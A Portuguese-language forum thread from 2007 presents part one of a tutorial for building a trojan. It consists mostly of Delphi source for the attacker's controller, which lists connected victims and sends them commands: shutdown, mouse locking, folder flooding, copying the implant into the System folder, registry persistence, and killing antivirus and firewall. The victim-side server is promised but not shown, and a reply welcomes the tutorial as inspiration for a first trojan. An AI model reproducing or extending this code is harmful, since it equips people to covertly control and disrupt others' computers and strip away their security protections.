Criando um Trojan ~ Com alguns adicionais Parte 1

Iniciado por Anonymous, 06 de Setembro , 2007, 04:41:18 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Anonymous

Bom galera acho que o que mais voce ve ai na internet é tutoriais de como fazer seu trojan...
Bem é simples por isso muitos fazem, mas hoje vo por alguns adicionais nos trojans e espero que gostem.

Cliente

Citarunit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, XPMan, StdCtrls, Buttons, ScktComp, Menus, jpeg,
  ExtCtrls, ShellApi, Registry;

type
  TForm1 = class(TForm)
    hcList: TListView;
    hcStatus: TStatusBar;
    XPManifest1: TXPManifest;
    hcServer: TServerSocket;
    hcAtivar: TBitBtn;
    hcDesativar: TBitBtn;
    PopupMenu1: TPopupMenu;
    Enviar1: TMenuItem;
    AbrirCDDVD1: TMenuItem;
    Abrir1: TMenuItem;
    Fechar1: TMenuItem;
    Reiniciar1: TMenuItem;
    Desligar1: TMenuItem;
    Logoff1: TMenuItem;
    DesligarFora1: TMenuItem;
    GerenciadordeTarefasdoWindows1: TMenuItem;
    Ativar1: TMenuItem;
    Desativar1: TMenuItem;
    Standby1: TMenuItem;
    Cursor1: TMenuItem;
    Iniciar1: TMenuItem;
    Mostrar1: TMenuItem;
    EsconderIconesdaAreadeTrabalho1: TMenuItem;
    Esconder1: TMenuItem;
    Mostrar2: TMenuItem;
    BarradeTarefas1: TMenuItem;
    Ocultar1: TMenuItem;
    Mostrar3: TMenuItem;
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    Registro1: TMenuItem;
    PastaSystem1: TMenuItem;
    ColocarnoRegistro1: TMenuItem;
    DeletarRegistro1: TMenuItem;
    DesligarComputador1: TMenuItem;
    SumirComRelgio1: TMenuItem;
    VoltarcomRelgio1: TMenuItem;
    FloodnaPasta1: TMenuItem;
    BloquearMouse1: TMenuItem;
    ravar1: TMenuItem;
    Destravar1: TMenuItem;
    FinalizarAntiViruseFirewall1: TMenuItem;
    AcessarRemotamente1: TMenuItem;
    procedure hcAtivar1Click(Sender: TObject);
    procedure hcDesativar1Click(Sender: TObject);
    procedure hcClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure hcClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure hcListInsert(Sender: TObject; Item: TListItem);
    procedure EnviarMensagem1Click(Sender: TObject);
    procedure Abrir1Click(Sender: TObject);
    procedure hcClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure Fechar1Click(Sender: TObject);
    procedure Reiniciar1Click(Sender: TObject);
    procedure Logoff1Click(Sender: TObject);
    procedure DesligarFora1Click(Sender: TObject);
    procedure Ativar1Click(Sender: TObject);
    procedure Desativar1Click(Sender: TObject);
    procedure Standby1Click(Sender: TObject);
    procedure Cursor1Click(Sender: TObject);
    procedure Mostrar1Click(Sender: TObject);
    procedure Esconder1Click(Sender: TObject);
    procedure Mostrar2Click(Sender: TObject);
    procedure Ocultar1Click(Sender: TObject);
    procedure Mostrar3Click(Sender: TObject);
    procedure PastaSystem1Click(Sender: TObject);
    procedure ColocarnoRegistro1Click(Sender: TObject);
    procedure DeletarRegistro1Click(Sender: TObject);
    procedure DesligarComputador1Click(Sender: TObject);
    procedure SumirComRelgio1Click(Sender: TObject);
    procedure VoltarcomRelgio1Click(Sender: TObject);
    procedure FloodnaPasta1Click(Sender: TObject);
    procedure ravar1Click(Sender: TObject);
    procedure Destravar1Click(Sender: TObject);
    procedure FinalizarAntiViruseFirewall1Click(Sender: TObject);
    procedure AcessarRemotamente1Click(Sender: TObject);
  private
    { Private declarations }
  public
  { Private declarations }
  end;

var
  Form1: TForm1;
  
implementation

{$R *.dfm}

procedure TForm1.hcAtivar1Click(Sender: TObject);
begin
hcServer.Active := true;
hcStatus.Panels[1].Text := 'Aguardando Conexão...';
end;

procedure TForm1.hcDesativar1Click(Sender: TObject);
begin
hcServer.Active := false;
hcStatus.Panels[1].Text := 'Parado';
hcList.Clear;
end;

procedure TForm1.hcClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
HC : Tlistitem;
begin
HC := hcList.Items.Add;
hc.Caption :=IntToStr( Socket.handle );
hc.SubItems.add ( Socket.RemoteHost );
hc.Subitems.add ( Socket.RemoteAddress );
hc.Data := Socket.Data;
end;

procedure TForm1.hcClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
HC : Tlistitem;
begin
HC := hcList.FindCaption ( 0, IntToStr (socket.Handle),false,true,false);
      if HC <> nil then HC.Delete;
hcStatus.Panels[1].Text := 'Usuarios Conectados:' + IntToStr(hcList.Items.Count);
end;

procedure TForm1.hcListInsert(Sender: TObject; Item: TListItem);
begin
hcStatus.Panels[1].Text := 'Usuarios Conectados:' + IntToStr(hcList.Items.Count);
end;

procedure TForm1.EnviarMensagem1Click(Sender: TObject);
Var
msg : string;
begin
if not assigned(hcList.Selected) then exit;
msg := inputbox('Mensagem','Digite uma Mensagem para ser enviada','Minha Mensagem');
hcServer.Socket.Connections[hcList.ItemIndex].SendText ( msg );
hcStatus.Panels[1].Text := 'Mensagem enviada com sucesso.'
end;

procedure TForm1.Abrir1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('abrir_cd');
hcStatus.Panels[1].Text := 'Abrindo CD|DVD...';
end;

procedure TForm1.hcClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
hcStatus.Panels[1].Text := socket.ReceiveText;
end;

procedure TForm1.Fechar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('fechar_cd');
hcStatus.Panels[1].Text := 'Fechando CD|DVD...';
end;

procedure TForm1.Reiniciar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('reiniciar_pc');
hcStatus.Panels[1].Text := 'Reiniciando o PC...';
end;

procedure TForm1.Logoff1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('logoff_pc');
hcStatus.Panels[1].Text := 'Fazendo Logoff...';
end;

procedure TForm1.DesligarFora1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('desligarforte_pc');
hcStatus.Panels[1].Text := 'Desligando o Computador com Força Bruta...';
end;

procedure TForm1.Ativar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('gerenciadorativar_pc');
hcStatus.Panels[1].Text := 'Ativando Gerenciador...';
end;

procedure TForm1.Desativar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('gerenciadordesativar_pc');
hcStatus.Panels[1].Text := 'Desativando Gerenciador...';
end;

procedure TForm1.Standby1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('standby_pc');
hcStatus.Panels[1].Text := 'Entrando em modo Standby...';
end;

procedure TForm1.Cursor1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('cursor_pc');
hcStatus.Panels[1].Text := 'Deixando o Cursor Maluco...';
end;

procedure TForm1.Mostrar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('matariniciar_pc');
hcStatus.Panels[1].Text := 'Finalizando com o botão do iniciar...';
end;

procedure TForm1.Esconder1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('escondericones_pc');
hcStatus.Panels[1].Text := 'Escondendo Ícones da area de trabalho...';
end;

procedure TForm1.Mostrar2Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mostraricones_pc');
hcStatus.Panels[1].Text := 'Mostrando Ícones da area de trabalho...';
end;

procedure TForm1.Ocultar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('tarefaocultada_pc');
hcStatus.Panels[1].Text := 'Ocultando Barra de Tarefas...';
end;

procedure TForm1.Mostrar3Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mostrartarefa_pc');
hcStatus.Panels[1].Text := 'Mostrando barra de Tarefas...';
end;

procedure TForm1.PastaSystem1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('system2_pc');
hcStatus.Panels[1].Text := 'Copiando Server para a pasta System...';
end;

procedure TForm1.ColocarnoRegistro1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('system_pc');
hcStatus.Panels[1].Text := 'Gravando Server no Registro...';
end;

procedure TForm1.DeletarRegistro1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('system3_pc');
hcStatus.Panels[1].Text := 'Deletando Registro...';
end;

procedure TForm1.DesligarComputador1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('desligar_pc');
hcStatus.Panels[1].Text := 'Desligando o PC...';
end;

procedure TForm1.SumirComRelgio1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('relogio_pc');
hcStatus.Panels[1].Text := 'Finalizando Relógio...';
end;

procedure TForm1.VoltarcomRelgio1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('relogio2_pc');
hcStatus.Panels[1].Text := 'Restaurando Relógio...';
end;

procedure TForm1.FloodnaPasta1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('flood_pc');
hcStatus.Panels[1].Text := 'Fazendo Flood...';
end;

procedure TForm1.ravar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mouse_pc');
hcStatus.Panels[1].Text := 'Bloqueando Mouse...';
end;

procedure TForm1.Destravar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mouse2_pc');
hcStatus.Panels[1].Text := 'Desbloqueando Mouse...';
end;

procedure TForm1.FinalizarAntiViruseFirewall1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('kill_pc');
hcStatus.Panels[1].Text := 'Killando Anti-Virus e Firewal...';
end;


end.

Vou explicar, o Cliente vai funcionar com um ServerSocket na qual ele vai enviar as informações > para o Cliente que fica no Server usando o ClientSocket , Meio Invertido né ? Mais funciona que é uma beleza =)

No caso as opções vão ser colocandas no PopupMenu para nao usar botões e botões...

Vamos para o Server agora

Exemplo :

Cliente



Anonymous

Esse é uma otima dicas para trojan,,meu primeiro vou me inspirar nele